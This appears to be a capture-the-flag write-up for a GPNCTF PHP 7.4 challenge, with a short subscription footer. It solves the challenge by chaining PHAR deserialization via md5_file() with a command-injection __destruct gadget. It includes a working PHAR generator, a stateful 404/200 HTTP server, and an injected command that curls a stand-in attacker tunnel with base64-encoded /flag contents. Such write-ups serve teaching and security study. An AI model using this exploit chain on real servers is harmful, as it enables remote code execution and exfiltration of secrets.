$ cat writeup.md…
$ cat writeup.md…
gpnctf
Task: PHP 7.4 app with md5_file() on user-controlled path, User class with __destruct() calling system('rm ' . avatar_path). Solution: plant a malicious PHAR via stateful HTTP server (404→200 toggle), trigger phar:// deserialization through md5_file() to get RCE via __destruct gadget.
PHP7 was soo cooked...
A PHP 7.4 web application takes a path GET parameter and calls md5_file() on it. A User class with a dangerous __destruct() method provides a command injection gadget. The goal is to achieve RCE and read the flag from the server.
<?php class User { public $avatar_path; public $name; public $password; function __construct($name, $password) { $this->name = $name; $this->password = $password; $this->avatar_path = "avatars/".$name.".png"; system("touch ".$this->avatar_path); } function __destruct() { system("rm ".$this->avatar_path); } } $file = $_GET['path']; $res = md5_file($file); if ($res == FALSE){ file_put_contents("/tmp/remote_file.jpg",file_get_contents($file)); $res = md5_file("/tmp/remote_file.jpg"); } if ($res == 0xdeadbeef){ echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt"); } else{ echo $res; } ?>
PHAR Deserialization (PHP 7.x): The challenge title "Pharry" is a pun on PHAR. In PHP 7.x, md5_file() (and other file functions like file_exists, fopen, etc.) automatically deserialize PHAR metadata when called with the phar:// stream wrapper. This behavior was hardened/removed in PHP 8.0+. The flavor text "PHP7 was soo cooked" confirms the target runs PHP 7.
Command Injection Gadget: User::__destruct() calls system("rm ".$this->avatar_path). By crafting a User object with avatar_path = "x; <malicious_command> #", we get arbitrary command execution when the object is garbage-collected after deserialization.
File Plant Primitive: The FALSE branch writes remote content to /tmp/remote_file.jpg via file_get_contents(). This allows planting a malicious PHAR file on the server's filesystem at a known path.
Red Herrings: The $res == 0xdeadbeef comparison (PHP type juggling with loose ==) and the flag.txt containing ASCII art are both decoys. The real flag is at /flag on the server.
The key challenge is getting into the FALSE branch. md5_file() succeeds on http:// URLs (it fetches the content and returns its MD5 hash), so it never returns FALSE for a valid remote URL. Both md5_file() and file_get_contents() use the same PHP stream wrappers — there's no standard wrapper where one fails and the other succeeds.
Solution: A stateful HTTP server that returns 404 on the 1st request (causing md5_file to return FALSE) and 200 with PHAR bytes on the 2nd request (so file_get_contents succeeds and writes the PHAR to /tmp/remote_file.jpg). Within a single PHP request, md5_file() and file_get_contents() make separate HTTP requests to the same URL, allowing the server to respond differently.
The PHAR must be generated with PHP 7.4 — PHP 8.x produces a subtly different manifest format that causes "truncated entry" errors on PHP 7.4 targets.
<?php // gen_phar.php — run with: docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php class User { public $avatar_path; public $name; public $password; } @unlink("exploit.phar"); $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.txt", "test"); $o = new User(); $TUN = "https://ATTACKER_TUNNEL_URL"; $cmd = "curl -s $TUN/BEACON; D=\$( cat /flag* 2>/dev/null | base64 | tr -d \"\\n\"); curl -s $TUN/FLAG/\$D"; $o->avatar_path = "x; $cmd #"; $o->name = "x"; $o->password = "x"; $phar->setMetadata($o); $phar->setSignatureAlgorithm(Phar::SHA1); $phar->stopBuffering(); echo "phar created, size=".filesize("exploit.phar")."\n";
Build with Docker:
docker run --rm -v "$(pwd):/work" -w /work php:7.4-cli php -d phar.readonly=0 gen_phar.php
#!/usr/bin/env python3 # stateful_server.py — serves 404 on odd requests, 200+phar on even requests from http.server import HTTPServer, BaseHTTPRequestHandler import os request_count = {} class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path count = request_count.get(path, 0) + 1 request_count[path] = count print(f"[{count}] {path}", flush=True) if path == "/phar": if count % 2 == 1: # odd requests -> 404 (for md5_file) self.send_response(404) self.end_headers() else: # even requests -> 200 + phar (for file_get_contents) data = open("exploit.phar", "rb").read() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) else: self.send_response(200) self.end_headers() def log_message(self, format, *args): pass print("Server on :8899", flush=True) HTTPServer(("0.0.0.0", 8899), Handler).serve_forever()
Expose via cloudflared tunnel:
cloudflared tunnel --url http://localhost:8899
GET /?path=https://TUNNEL_URL/phar
What happens inside PHP:
md5_file("https://TUNNEL_URL/phar") → server returns 404 → md5_file returns FALSEfile_get_contents("https://TUNNEL_URL/phar") → server returns 200 + PHAR bytesfile_put_contents("/tmp/remote_file.jpg", <phar_bytes>) → PHAR planted at known pathmd5_file("/tmp/remote_file.jpg") → returns MD5 hash of the PHAR (confirms successful write)GET /?path=phar:///tmp/remote_file.jpg/test.txt
What happens inside PHP 7.4:
md5_file("phar:///tmp/remote_file.jpg/test.txt") → PHP 7.4 auto-deserializes PHAR metadataUser object with avatar_path = "x; curl ... #"__destruct() fires → system("rm x; curl -s TUNNEL/BEACON; D=$(cat /flag* | base64 | tr -d '\n'); curl -s TUNNEL/FLAG/$D #")The cloudflared tunnel logs show an incoming request like:
GET /FLAG/R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==
echo 'R1BOQ1RGe1dlQl9pNV9GT3JfdzNFOHNfQU5EX1NVY0s1X1BoUF9JU19Db29MXzdvdTZIfQ==' | base64 -d # GPNCTF{REDACTED}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar